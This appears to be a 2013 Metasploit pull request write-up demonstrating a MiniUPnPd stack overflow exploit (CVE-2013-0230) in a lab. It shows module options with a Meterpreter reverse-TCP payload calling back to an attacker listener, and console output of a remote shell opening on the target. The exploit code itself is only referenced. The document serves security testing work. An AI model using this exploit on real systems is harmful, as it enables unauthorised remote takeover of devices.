rapid7/metasploit-framework — pull request #1843 by viris (2013-05-17 12:25:14+00:00)
Title: Module cve 2013 0230

# MiniUPnPd Stack Overflow PoC

We compiled the MiniUPnPd on a Debian 6 system, which is why we'll present some of the operating system statistics as PoC of the working exploit.

Let's first present the contents of the /etc/issue command, which should prove that we're on the Debian 6.0 system:

> cat /etc/issue
>Debian GNU/Linux 6.0 \n \l

To start the compiled version of MiniUPnPd, we used the following command:

> miniupnpd -f miniupnpd.conf -d

The miniupnpd.conf configuration file that we specified on the command above, is presented below:

> cat miniupnpd.conf
ext_ifname=eth0
listening_ip=192.168.1.2
port=8080
enable_natpmp=no
secure_mode=yes

Let's now actually start the MiniUPnPd daemon and see what happens:

> miniupnpd -f miniupnpd.conf -d
Reading configuration from file miniupnpd.conf
miniupnpd[24934]: HTTP listening on port 8080
miniupnpd[24934]: HTTP connection from 192.168.1.3:15955
miniupnpd[24934]: HTTP REQUEST : GET /rootDesc.xml (HTTP/1.1)
miniupnpd[24934]: HTTP connection from 192.168.1.4:56240
miniupnpd[24934]: HTTP REQUEST : GET /rootDesc.xml (HTTP/1.1)

When the daemon starts, it starts listening on port 8080 for HTTP SOAP messages. We can also see that two devices already contacted the HTTP SOAP service for the rootDesc.xml file.

Let's now exploit the vulnerable daemon by using the MiniUPnPd exploit accessible in appendix A. Before triggering the exploits, it's options are as follows:

> msf exploit(upnp) > show options
>
>Module options (exploit/linux/misc/upnp):
>
> Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no Use a proxy chain
RHOST 192.168.1.2 yes The target address
RPORT 8080 yes The target port
VHOST no HTTP server virtual host

>Payload options (linux/x86/meterpreter/reverse_tcp):
>
> Name Current Setting Required Description
---- --------------- -------- -----------
DebugOptions 0 no Debugging options for POSIX meterpreter
LHOST 192.168.1.5 yes The listen address
LPORT 4444 yes The listen port
PrependFork no Add a fork() / exit_group() (for parent) code

>Exploit target:
>
> Id Name
-- ----
0 Debian GNU/Linux 6.0

We can see that the exploit actually sends the payload to the host 192.168.1.2 on port 8080 and the payload connects back to the 192.168.1.5 on port 4444. The payload used is linux/x86/meterpreter/reverse_tcp, but can as easily be any other like generic/shell_reverse_tcp payload. When we execute the 'exploit' command, the exploit will be sent and we'll get the reverse Meterpreter shell:

>msf exploit(upnp) > exploit
>
>[*] Started reverse handler on 192.168.1.5:4444
[*] Sending exploit to victim Debian GNU/Linux 6.0 at ...
[*] Transmitting intermediate stager for over-sized stage...(100 bytes)
[*] Sending stage (1126400 bytes) to 192.168.1.2
[*] Meterpreter session 2 opened (192.168.1.5:4444 -> 192.168.1.2:46651) at 2013-03-28 09:57:57 +0100
>
>meterpreter >

Let's also present what gets printed by the MiniUPnPd daemon:

Cool, the exploit is working and we've successfully gotten a shell. To prove it a little further let's also print the sysinfo command in Meterpreter shell to see that we're actually on the Debian system:

> meterpreter > sysinfo
Computer : debian
OS : Linux debian 2.6.32-5-686 #1 SMP Mon Feb 25 01:04:36 UTC 2013 (i686)
Architecture : i686
Meterpreter : x86/linux
meterpreter >